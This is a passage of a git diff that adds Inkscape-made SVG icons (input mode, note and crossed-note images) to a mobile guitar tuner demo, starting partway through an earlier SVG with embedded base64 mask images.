+Et9KMh1u/wAm0Aw93duZJpDUk8ANB6eRu33sJnspGJyoSm7j/X8j84ZP+fsgJJM2IT6lB9cqnD3d
+25kmkNSTwA0Hp5f/2Q==" transform="matrix(1 0 0 1 64.0005 8)">
+ </image>
+ </g>
+ </mask>
+ <g opacity="0.77" mask="url(#SVGID_2_)">
+ <path fill="#1C1B1B" d="M105.895,10.52l2.704,2.702L70.764,51.056c0,0-2.702,2.702,0,5.404c2.704,2.702,5.405,0,5.405,0
+ l37.833-37.833l2.704,2.702c0,0-35.132,35.131-37.835,37.833c-2.702,2.702-8.107,2.702-10.81,0s-2.702-8.106,0-10.809
+ C70.765,45.649,105.895,10.52,105.895,10.52z"/>
+ </g>
+</g>
+<line fill="none" stroke="#FFFFFF" stroke-width="0.25" stroke-miterlimit="10" x1="40.044" y1="81.762" x2="45.447" y2="87.166"/>
+<line fill="none" stroke="#FFFFFF" stroke-width="0.25" stroke-miterlimit="10" x1="40.966" y1="80.84" x2="46.37" y2="86.241"/>
+<line fill="none" stroke="#FFFFFF" stroke-width="0.25" stroke-miterlimit="10" x1="41.96" y1="79.846" x2="47.363" y2="85.248"/>
+<line fill="none" stroke="#FFFFFF" stroke-width="0.25" stroke-miterlimit="10" x1="43.168" y1="78.639" x2="48.57" y2="84.042"/>
+<line fill="none" stroke="#FFFFFF" stroke-width="0.25" stroke-miterlimit="10" x1="44.587" y1="77.219" x2="49.99" y2="82.623"/>
+<line fill="none" stroke="#FFFFFF" stroke-width="0.25" stroke-miterlimit="10" x1="46.006" y1="75.801" x2="51.41" y2="81.203"/>
+<line fill="none" stroke="#FFFFFF" stroke-width="0.25" stroke-miterlimit="10" x1="47.285" y1="74.522" x2="52.688" y2="79.925"/>
+<line fill="none" stroke="#FFFFFF" stroke-width="0.25" stroke-miterlimit="10" x1="48.847" y1="72.961" x2="54.249" y2="78.362"/>
+<line fill="none" stroke="#FFFFFF" stroke-width="0.25" stroke-miterlimit="10" x1="50.621" y1="71.185" x2="56.023" y2="76.589"/>
+<line fill="none" stroke="#FFFFFF" stroke-width="0.25" stroke-miterlimit="10" x1="52.489" y1="69.329" x2="57.891" y2="74.731"/>
+<line fill="none" stroke="#FFFFFF" stroke-width="0.25" stroke-miterlimit="10" x1="54.405" y1="67.4" x2="59.709" y2="72.704"/>
+<line fill="none" stroke="#FFFFFF" stroke-width="0.25" stroke-miterlimit="10" x1="56.517" y1="65.392" x2="61.821" y2="70.696"/>
+<line fill="none" stroke="#FFFFFF" stroke-width="0.25" stroke-miterlimit="10" x1="59.166" y1="62.744" x2="64.469" y2="68.047"/>
+<line fill="none" stroke="#FFFFFF" stroke-width="0.25" stroke-miterlimit="10" x1="61.883" y1="60.026" x2="67.187" y2="65.329"/>
+<line fill="none" stroke="#FFFFFF" stroke-width="0.25" stroke-miterlimit="10" x1="64.902" y1="57.007" x2="70.206" y2="62.31"/>
+<g display="none">
+ <g display="inline">
+ <path fill="#F29400" d="M0,24.468C0,24.468,0,9,12,9c8,0,8,5,12,5s4.525-2.95,8.952-3.088C41.605,10.642,40,21.458,40,21.458
+ v5.291h-8c0,0-1.56,7.262,6.44,7.262C30.44,37.762,28,34,24,34c-4,0-4,4.948-12,5C0,39.078,0,24.468,0,24.468z"/>
+ </g>
+ <defs>
+ <filter id="Adobe_OpacityMaskFilter_2_" filterUnits="userSpaceOnUse" x="0" y="9" width="40.118" height="30">
+
+ <feColorMatrix type="matrix" values="-1 0 0 0 1 0 -1 0 0 1 0 0 -1 0 1 0 0 0 1 0" color-interpolation-filters="sRGB" result="source"/>
+ </filter>
+ </defs>
+ <mask maskUnits="userSpaceOnUse" x="0" y="9" width="40.118" height="30" id="SVGID_3_" display="inline">
+ <g filter="url(#Adobe_OpacityMaskFilter_2_)">
+
+ <image overflow="visible" width="46" height="35" xlink:href="data:image/jpeg;base64,/9j/4AAQSkZJRgABAgEASABIAAD/7AARRHVja3kAAQAEAAAAHgAA/+4AIUFkb2JlAGTAAAAAAQMA
+EAMCAwYAAAGrAAACBgAAAl3/2wCEABALCwsMCxAMDBAXDw0PFxsUEBAUGx8XFxcXFx8eFxoaGhoX
+Hh4jJSclIx4vLzMzLy9AQEBAQEBAQEBAQEBAQEABEQ8PERMRFRISFRQRFBEUGhQWFhQaJhoaHBoa
+JjAjHh4eHiMwKy4nJycuKzU1MDA1NUBAP0BAQEBAQEBAQEBAQP/CABEIACMALgMBIgACEQEDEQH/
+xAB+AAABBQEBAAAAAAAAAAAAAAAAAgMFBgcEAQEBAAAAAAAAAAAAAAAAAAAAABAAAgMAAgIDAQAA
+AAAAAAAAAgMBBAUREzAGECAxFBEAAgEEAQMFAAAAAAAAAAAAAAERIUECElEQMYEgIkIDExIBAAAA
+AAAAAAAAAAAAAAAAMP/aAAwDAQACEQMRAAAAoEknQjPuDXogztq4Vo7NJyW2mgQdegRyGUyCwPEg
+AB//2gAIAQIAAQUA8P8A/9oACAEDAAEFAPD/AP/aAAgBAQABBQARkpr4r3DYxLKR6W8zUfA8TzjV
+4dZzMwJB2Mshs4aQm9VWsZAf7vXigbGW4IBllcDp3VwOtrlL+0u2nYmu6jvgIXPZxALHsLnTYdDi
++A/D+n//2gAIAQICBj8AH//aAAgBAwIGPwAf/9oACAEBAQY/AFjipbJdzZLY10c8QbPEi5WsCoVx
+G9UNJGONmxzyI7jhmX1pU5P1uLNdri9w4yHRwbX6/LwX8+j/2Q==" transform="matrix(1 0 0 1 -2.9995 6)">
+ </image>
+ </g>
+ </mask>
+ <g display="inline" mask="url(#SVGID_3_)">
+ <path fill="#B20000" d="M0,24.468C0,24.468,0,9,12,9c8,0,8,5,12,5s4.525-2.95,8.952-3.088C41.605,10.642,40,21.458,40,21.458
+ v5.291h-8c0,0-1.56,7.262,6.44,7.262C30.44,37.762,28,34,24,34c-4,0-4,4.948-12,5C0,39.078,0,24.468,0,24.468z"/>
+ </g>
+</g>
+<g display="none">
+ <path display="inline" fill="#FFEDB8" d="M12,9.25c4.592,0,6.439,1.633,8.07,3.075c1.169,1.033,2.179,1.926,3.93,1.926
+ c2.047,0,3.246-0.764,4.405-1.502c1.171-0.746,2.382-1.518,4.555-1.585c0.104-0.003,0.207-0.005,0.308-0.005
+ c2.021,0,3.606,0.649,4.712,1.931c2.537,2.939,1.782,8.28,1.771,8.37V26.5H32h-0.202l-0.042,0.197
+ c-0.028,0.13-0.663,3.21,1.127,5.426c0.979,1.211,2.483,1.913,4.481,2.093c-1.956,0.813-3.706,1.21-5.323,1.21
+ c-1.76,0-3.121-0.458-4.438-0.9C26.416,34.126,25.295,33.75,24,33.75c-1.755,0-2.766,0.888-3.937,1.916
+ c-1.631,1.432-3.479,3.054-8.064,3.084l-0.095,0C0.388,38.75,0.25,24.61,0.25,24.468C0.25,24.315,0.391,9.25,12,9.25 M12,9
+ C0,9,0,24.468,0,24.468S-0.002,39,11.904,39c0.031,0,0.064,0,0.096,0c8-0.052,8-5,12-5c2.67,0,4.644,1.675,8.041,1.675
+ c1.692,0,3.739-0.416,6.4-1.664c-8,0-6.44-7.262-6.44-7.262h8v-5.291c0,0,1.566-10.551-6.733-10.551
+ c-0.104,0-0.209,0.001-0.316,0.005C28.525,11.05,28,14,24,14S20,9,12,9L12,9z"/>
+</g>
+<rect x="31.032" y="21" display="none" fill="#41281B" width="32.967" height="6"/>
+<rect x="25" y="20.5" display="none" fill="#ECEDED" width="3.999" height="7"/>
+<rect x="16.001" y="20.5" display="none" fill="#ECEDED" width="3.999" height="7"/>
+<rect x="12" y="19.5" display="none" fill="#F6F6F6" width="1" height="9"/>
+<rect x="14" y="19.5" display="none" fill="#F6F6F6" width="1" height="9"/>
+<line display="none" fill="none" stroke="#FFFFFF" stroke-width="0.15" stroke-miterlimit="10" x1="13" y1="21.625" x2="60.75" y2="21.625"/>
+<line display="none" fill="none" stroke="#FFFFFF" stroke-width="0.15" stroke-miterlimit="10" x1="13" y1="26.625" x2="60.75" y2="26.625"/>
+<line display="none" fill="none" stroke="#FFFFFF" stroke-width="0.15" stroke-miterlimit="10" x1="13" y1="25.625" x2="60.75" y2="25.625"/>
+<line display="none" fill="none" stroke="#FFFFFF" stroke-width="0.15" stroke-miterlimit="10" x1="13" y1="24.625" x2="60.75" y2="24.625"/>
+<line display="none" fill="none" stroke="#FFFFFF" stroke-width="0.15" stroke-miterlimit="10" x1="13" y1="23.625" x2="60.75" y2="23.625"/>
+<line display="none" fill="none" stroke="#FFFFFF" stroke-width="0.15" stroke-miterlimit="10" x1="13" y1="22.625" x2="60.75" y2="22.625"/>
+<circle display="none" fill="#1A171B" cx="7.029" cy="31.382" r="1.384"/>
+<circle display="none" fill="#1A171B" cx="12.564" cy="31.382" r="1.384"/>
+<circle display="none" fill="#FFEDB8" cx="33.908" cy="15.543" r="1.384"/>
+<circle display="none" fill="#1A171B" cx="9.029" cy="35.382" r="1.384"/>
+<circle display="none" fill="#1A171B" cx="14.564" cy="35.382" r="1.384"/>
+<g display="none">
+ <g display="inline">
+ <path fill="#ECEDED" d="M124,16v4H68c0,0-4,0-4,4s4,4,4,4h56v4c0,0-52,0-56,0s-8-4-8-8s4-8,8-8C72.001,16,124,16,124,16z"/>
+ </g>
+ <defs>
+ <filter id="Adobe_OpacityMaskFilter_3_" filterUnits="userSpaceOnUse" x="60" y="16" width="64" height="16">
+
+ <feColorMatrix type="matrix" values="-1 0 0 0 1 0 -1 0 0 1 0 0 -1 0 1 0 0 0 1 0" color-interpolation-filters="sRGB" result="source"/>
+ </filter>
+ </defs>
+ <mask maskUnits="userSpaceOnUse" x="60" y="16" width="64" height="16" id="SVGID_4_" display="inline">
+ <g filter="url(#Adobe_OpacityMaskFilter_3_)">
+
+ <image overflow="visible" width="68" height="20" xlink:href="data:image/jpeg;base64,/9j/4AAQSkZJRgABAgEASABIAAD/7AARRHVja3kAAQAEAAAAHgAA/+4AIUFkb2JlAGTAAAAAAQMA
+EAMCAwYAAAGtAAACAQAAAsf/2wCEABALCwsMCxAMDBAXDw0PFxsUEBAUGx8XFxcXFx8eFxoaGhoX
+Hh4jJSclIx4vLzMzLy9AQEBAQEBAQEBAQEBAQEABEQ8PERMRFRISFRQRFBEUGhQWFhQaJhoaHBoa
+JjAjHh4eHiMwKy4nJycuKzU1MDA1NUBAP0BAQEBAQEBAQEBAQP/CABEIABQARAMBIgACEQEDEQH/
+xACMAAEAAQUAAAAAAAAAAAAAAAAABQECAwQGAQEAAAAAAAAAAAAAAAAAAAAAEAABAgQGAwEAAAAA
+AAAAAAAABicCAwQWMBIUBRUlAREXBxEAAAQCBwcEAwAAAAAAAAAAAAERAhIDITGR0hOjREFxBBQ0
+BRVRYUIzIqKDEgEAAAAAAAAAAAAAAAAAAAAw/9oADAMBAAIRAxEAAACH3tvnSTQwmUMJm2IoarAM
+vTgoAC0OdB//2gAIAQIAAQUAwv/aAAgBAwABBQDC/9oACAEBAAEFAEmk4N2gnSvzWTMbUbUbUbUb
+Uj+c5eq5VKwU28pKpQ6lp5lnqUs9SlnqUs9SlnqUiSKjh8aKq1e08nrXL9OUOUOUOUOUR/R8va8r
+/9oACAECAgY/AC//2gAIAQMCBj8AL//aAAgBAQEGPwB3cO4Pwu3S1KtDeZV07CIHLN815trcw5jm
+nucVA1GaNRmjUZo1GaNRmg4Mddn2j5eNi94oUtrHEdjZOKXxZG80UyP8jiadCKXqIC4TGJFjlOI2
+/tCOgmWtvDoJlrbw6CZa28OgmWtvDoJlrbwV3ATCLe28OSwz5lYcOhVRQzxUfN0w4dabV2JvGoT+
+Q1GUNRlDUZQ1GUNRlA48dNv1D5eSi9ooksqH/9k=" transform="matrix(1 0 0 1 58.0005 14)">
+ </image>
+ </g>
+ </mask>
+ <g display="inline" opacity="0.75" mask="url(#SVGID_4_)">
+ <path fill="#1C1B1B" d="M124,16v4H68c0,0-4,0-4,4s4,4,4,4h56v4c0,0-52,0-56,0s-8-4-8-8s4-8,8-8C72.001,16,124,16,124,16z"/>
+ </g>
+</g>
+<line display="none" fill="none" stroke="#FFFFFF" stroke-width="0.25" stroke-miterlimit="10" x1="32" y1="21" x2="32" y2="27"/>
+<line display="none" fill="none" stroke="#FFFFFF" stroke-width="0.25" stroke-miterlimit="10" x1="33.025" y1="21" x2="33.025" y2="27"/>
+<line display="none" fill="none" stroke="#FFFFFF" stroke-width="0.25" stroke-miterlimit="10" x1="34.129" y1="21" x2="34.129" y2="27"/>
+<line display="none" fill="none" stroke="#FFFFFF" stroke-width="0.25" stroke-miterlimit="10" x1="35.469" y1="21" x2="35.469" y2="27"/>
+<line display="none" fill="none" stroke="#FFFFFF" stroke-width="0.25" stroke-miterlimit="10" x1="37.046" y1="21" x2="37.046" y2="27"/>
+<line display="none" fill="none" stroke="#FFFFFF" stroke-width="0.25" stroke-miterlimit="10" x1="38.623" y1="21" x2="38.623" y2="27"/>
+<line display="none" fill="none" stroke="#FFFFFF" stroke-width="0.25" stroke-miterlimit="10" x1="40.042" y1="21" x2="40.042" y2="27"/>
+<line display="none" fill="none" stroke="#FFFFFF" stroke-width="0.25" stroke-miterlimit="10" x1="41.776" y1="21" x2="41.776" y2="27"/>
+<line display="none" fill="none" stroke="#FFFFFF" stroke-width="0.25" stroke-miterlimit="10" x1="43.747" y1="21" x2="43.747" y2="27"/>
+<line display="none" fill="none" stroke="#FFFFFF" stroke-width="0.25" stroke-miterlimit="10" x1="46.033" y1="21" x2="46.033" y2="27"/>
+<line display="none" fill="none" stroke="#FFFFFF" stroke-width="0.25" stroke-miterlimit="10" x1="48.635" y1="21" x2="48.635" y2="27"/>
+<line display="none" fill="none" stroke="#FFFFFF" stroke-width="0.25" stroke-miterlimit="10" x1="51.315" y1="21" x2="51.315" y2="27"/>
+<line display="none" fill="none" stroke="#FFFFFF" stroke-width="0.25" stroke-miterlimit="10" x1="54.311" y1="21" x2="54.311" y2="27"/>
+<line display="none" fill="none" stroke="#FFFFFF" stroke-width="0.25" stroke-miterlimit="10" x1="57.385" y1="21" x2="57.385" y2="27"/>
+</svg>
diff --git a/demos/mobile/guitartuner/images/inputMode.svg b/demos/mobile/guitartuner/images/inputMode.svg
new file mode 100644
index 00000000..f95991af
--- /dev/null
+++ b/demos/mobile/guitartuner/images/inputMode.svg
@@ -0,0 +1,161 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ width="690.84283"
+ height="597.90881"
+ id="svg2"
+ version="1.1"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="inputMode.svg">
+ <defs
+ id="defs4">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 526.18109 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="744.09448 : 526.18109 : 1"
+ inkscape:persp3d-origin="372.04724 : 350.78739 : 1"
+ id="perspective10" />
+ <inkscape:perspective
+ id="perspective3604"
+ inkscape:persp3d-origin="0.5 : 0.33333333 : 1"
+ inkscape:vp_z="1 : 0.5 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_x="0 : 0.5 : 1"
+ sodipodi:type="inkscape:persp3d" />
+ <inkscape:perspective
+ id="perspective3622"
+ inkscape:persp3d-origin="0.5 : 0.33333333 : 1"
+ inkscape:vp_z="1 : 0.5 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_x="0 : 0.5 : 1"
+ sodipodi:type="inkscape:persp3d" />
+ <inkscape:perspective
+ id="perspective3622-7"
+ inkscape:persp3d-origin="0.5 : 0.33333333 : 1"
+ inkscape:vp_z="1 : 0.5 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_x="0 : 0.5 : 1"
+ sodipodi:type="inkscape:persp3d" />
+ <inkscape:perspective
+ id="perspective3653"
+ inkscape:persp3d-origin="0.5 : 0.33333333 : 1"
+ inkscape:vp_z="1 : 0.5 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_x="0 : 0.5 : 1"
+ sodipodi:type="inkscape:persp3d" />
+ <inkscape:perspective
+ id="perspective3653-4"
+ inkscape:persp3d-origin="0.5 : 0.33333333 : 1"
+ inkscape:vp_z="1 : 0.5 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_x="0 : 0.5 : 1"
+ sodipodi:type="inkscape:persp3d" />
+ <inkscape:perspective
+ id="perspective3653-8"
+ inkscape:persp3d-origin="0.5 : 0.33333333 : 1"
+ inkscape:vp_z="1 : 0.5 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_x="0 : 0.5 : 1"
+ sodipodi:type="inkscape:persp3d" />
+ </defs>
+ <sodipodi:namedview
+ id="base"
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1.0"
+ inkscape:pageopacity="0.0"
+ inkscape:pageshadow="2"
+ inkscape:zoom="0.7"
+ inkscape:cx="220.15692"
+ inkscape:cy="262.65754"
+ inkscape:document-units="px"
+ inkscape:current-layer="layer1"
+ showgrid="false"
+ inkscape:window-width="1280"
+ inkscape:window-height="888"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ showguides="true"
+ inkscape:guide-bbox="true" />
+ <metadata
+ id="metadata7">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ <dc:title />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <g
+ inkscape:label="Layer 1"
+ inkscape:groupmode="layer"
+ id="layer1"
+ transform="translate(-9.1421334,-233.17919)">
+ <path
+ sodipodi:type="arc"
+ style="fill:#ffffff;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:10;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1;stroke-dasharray:none;stroke-dashoffset:0"
+ id="path3620"
+ sodipodi:cx="64.649765"
+ sodipodi:cy="472.53461"
+ sodipodi:rx="117.1777"
+ sodipodi:ry="268.70059"
+ d="m 181.82746,472.53461 c 0,148.39924 -52.46224,268.70059 -117.177695,268.70059 -64.71545463,0 -117.177696,-120.30135 -117.177696,-268.70059 0,-148.39924 52.46224137,-268.7006 117.177696,-268.7006 64.715455,0 117.177695,120.30136 117.177695,268.7006 z"
+ transform="matrix(2.8726899,0,0,1.0798196,168.84482,21.881457)" />
+ <g
+ id="g3694"
+ transform="translate(14.702487,2.8571428)">
+ <path
+ sodipodi:nodetypes="cccc"
+ id="path2830"
+ d="m 261.68027,406.82393 36.36549,359.61431 82.97781,0 38.24049,-359.61431"
+ style="fill:none;stroke:#000000;stroke-width:14.10000038;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1;stroke-dasharray:none" />
+ <path
+ transform="translate(-11.060917,113.98119)"
+ d="m 442.4468,276.6803 c 0,49.09448 -41.15572,88.89342 -91.92388,88.89342 -50.76816,0 -91.92388,-39.79894 -91.92388,-88.89342 0,-49.09449 41.15572,-88.89343 91.92388,-88.89343 50.76816,0 91.92388,39.79894 91.92388,88.89343 z"
+ sodipodi:ry="88.893425"
+ sodipodi:rx="91.923882"
+ sodipodi:cy="276.6803"
+ sodipodi:cx="350.52292"
+ id="path2826"
+ style="fill:#ffffff;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:17.61199951;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1;stroke-dasharray:none;stroke-dashoffset:0"
+ sodipodi:type="arc" />
+ <path
+ id="path3610"
+ d="M 417.09557,336.26145 265.86811,447.10263"
+ style="fill:none;stroke:#000000;stroke-width:8.15200043;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1;stroke-dasharray:none" />
+ <path
+ id="path3610-1"
+ d="M 370.02409,308.17608 244.86468,399.91085"
+ style="fill:none;stroke:#000000;stroke-width:8.15200043;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1;stroke-dasharray:none" />
+ <path
+ id="path3610-4"
+ d="M 266.87874,335.24091 418.10619,446.08209"
+ style="fill:none;stroke:#000000;stroke-width:8.15200043;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1;stroke-dasharray:none" />
+ <path
+ id="path3610-4-9"
+ d="M 306.03234,300.77574 436.914,396.7046"
+ style="fill:none;stroke:#000000;stroke-width:8.15200043;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1;stroke-dasharray:none" />
+ <path
+ id="path3610-4-8"
+ d="m 246.61065,376.5921 132.66972,97.23942"
+ style="fill:none;stroke:#000000;stroke-width:8.15200043;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1;stroke-dasharray:none" />
+ <path
+ id="path3610-4-2"
+ d="M 433.44049,380.0107 304.57747,474.46002"
+ style="fill:none;stroke:#000000;stroke-width:8.15200043;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1;stroke-dasharray:none" />
+ </g>
+ </g>
+</svg>
diff --git a/demos/mobile/guitartuner/images/note.svg b/demos/mobile/guitartuner/images/note.svg
new file mode 100644
index 00000000..c1f1771a
--- /dev/null
+++ b/demos/mobile/guitartuner/images/note.svg
@@ -0,0 +1,101 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ width="690.84283"
+ height="597.90881"
+ id="svg2"
+ version="1.1"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="New document 1">
+ <defs
+ id="defs4">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 526.18109 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="744.09448 : 526.18109 : 1"
+ inkscape:persp3d-origin="372.04724 : 350.78739 : 1"
+ id="perspective10" />
+ <inkscape:perspective
+ id="perspective3604"
+ inkscape:persp3d-origin="0.5 : 0.33333333 : 1"
+ inkscape:vp_z="1 : 0.5 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_x="0 : 0.5 : 1"
+ sodipodi:type="inkscape:persp3d" />
+ </defs>
+ <sodipodi:namedview
+ id="base"
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1.0"
+ inkscape:pageopacity="0.0"
+ inkscape:pageshadow="2"
+ inkscape:zoom="0.49497475"
+ inkscape:cx="586.90391"
+ inkscape:cy="224.44944"
+ inkscape:document-units="px"
+ inkscape:current-layer="layer1"
+ showgrid="false"
+ inkscape:window-width="1280"
+ inkscape:window-height="888"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1" />
+ <metadata
+ id="metadata7">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ <dc:title></dc:title>
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <g
+ inkscape:label="Layer 1"
+ inkscape:groupmode="layer"
+ id="layer1"
+ transform="translate(-9.1421334,-233.17919)">
+ <path
+ sodipodi:type="arc"
+ style="fill:#ffffff;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:10;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1;stroke-dasharray:none;stroke-dashoffset:0"
+ id="path3620"
+ sodipodi:cx="64.649765"
+ sodipodi:cy="472.53461"
+ sodipodi:rx="117.1777"
+ sodipodi:ry="268.70059"
+ d="m 181.82746,472.53461 c 0,148.39924 -52.46224,268.70059 -117.177695,268.70059 -64.71545463,0 -117.177696,-120.30135 -117.177696,-268.70059 0,-148.39924 52.46224137,-268.7006 117.177696,-268.7006 64.715455,0 117.177695,120.30136 117.177695,268.7006 z"
+ transform="matrix(2.8726899,0,0,1.0798196,168.84482,21.881457)" />
+ <path
+ style="fill:none;stroke:#000000;stroke-width:10;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1;stroke-dasharray:none"
+ d="m 355.87166,686.47203 0,-381.77521"
+ id="path2816"
+ sodipodi:nodetypes="cc" />
+ <path
+ sodipodi:type="arc"
+ style="fill:#000000;fill-opacity:1;stroke:#000000;stroke-width:5;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1;stroke-dasharray:none;stroke-dashoffset:0"
+ id="path2818"
+ sodipodi:cx="284.86301"
+ sodipodi:cy="703.85956"
+ sodipodi:rx="80.812202"
+ sodipodi:ry="83.842659"
+ d="m 365.67521,703.85956 c 0,46.30502 -36.18086,83.84266 -80.8122,83.84266 -44.63135,0 -80.81221,-37.53764 -80.81221,-83.84266 0,-46.30502 36.18086,-83.84266 80.81221,-83.84266 44.63134,0 80.8122,37.53764 80.8122,83.84266 z"
+ transform="matrix(0.86662604,0,0,0.86662604,41.962127,84.107402)" />
+ <path
+ style="fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:3.49788642;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1;stroke-dasharray:none;stroke-dashoffset:0"
+ d="M 498.23775,478.96203 C 487.43102,436.20815 446.22124,431.4938 416.5823,423.48582 381.21648,411.5191 365.03425,382.76349 358.75673,339.52089 l -2.02761,-36.99987 c 12.76379,33.73415 40.64336,44.6109 67.22015,53.67478 46.38196,11.01541 67.31525,50.25786 74.72373,107.8334 0.48397,6.08567 0.99901,19.27869 0.75259,19.27869 -0.0715,0 -0.60616,-1.95564 -1.1881,-4.34586 l 0,0 2.6e-4,0 z"
+ id="path3618"
+ sodipodi:nodetypes="ccccccsccc" />
+ </g>
+</svg>
diff --git a/demos/mobile/guitartuner/images/noteNo.svg b/demos/mobile/guitartuner/images/noteNo.svg
new file mode 100644
index 00000000..888d2308
--- /dev/null
+++ b/demos/mobile/guitartuner/images/noteNo.svg
@@ -0,0 +1,105 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<!-- Created with Inkscape (http://www.inkscape.org/) -->
+
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ width="690.84283"
+ height="597.90881"
+ id="svg2"
+ version="1.1"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="noteCrossed.svg">
+ <defs
+ id="defs4">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 526.18109 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="744.09448 : 526.18109 : 1"
+ inkscape:persp3d-origin="372.04724 : 350.78739 : 1"
+ id="perspective10" />
+ <inkscape:perspective
+ id="perspective3604"
+ inkscape:persp3d-origin="0.5 : 0.33333333 : 1"
+ inkscape:vp_z="1 : 0.5 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_x="0 : 0.5 : 1"
+ sodipodi:type="inkscape:persp3d" />
+ </defs>
+ <sodipodi:namedview
+ id="base"
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1.0"
+ inkscape:pageopacity="0.0"
+ inkscape:pageshadow="2"
+ inkscape:zoom="0.49497475"
+ inkscape:cx="289.91906"
+ inkscape:cy="224.44944"
+ inkscape:document-units="px"
+ inkscape:current-layer="layer1"
+ showgrid="false"
+ inkscape:window-width="1280"
+ inkscape:window-height="888"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1" />
+ <metadata
+ id="metadata7">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ <dc:title></dc:title>
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <g
+ inkscape:label="Layer 1"
+ inkscape:groupmode="layer"
+ id="layer1"
+ transform="translate(-9.1421334,-233.17919)">
+ <path
+ sodipodi:type="arc"
+ style="fill:#ffffff;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:10;stroke-linecap:round;stroke-linejoin:miter;stroke-miterlimit:4;stroke-opacity:1;stroke-dasharray:none;stroke-dashoffset:0"
+ id="path3620"
+ sodipodi:cx="64.649765"
+ sodipodi:cy="472.53461"
+ sodipodi:rx="117.1777"
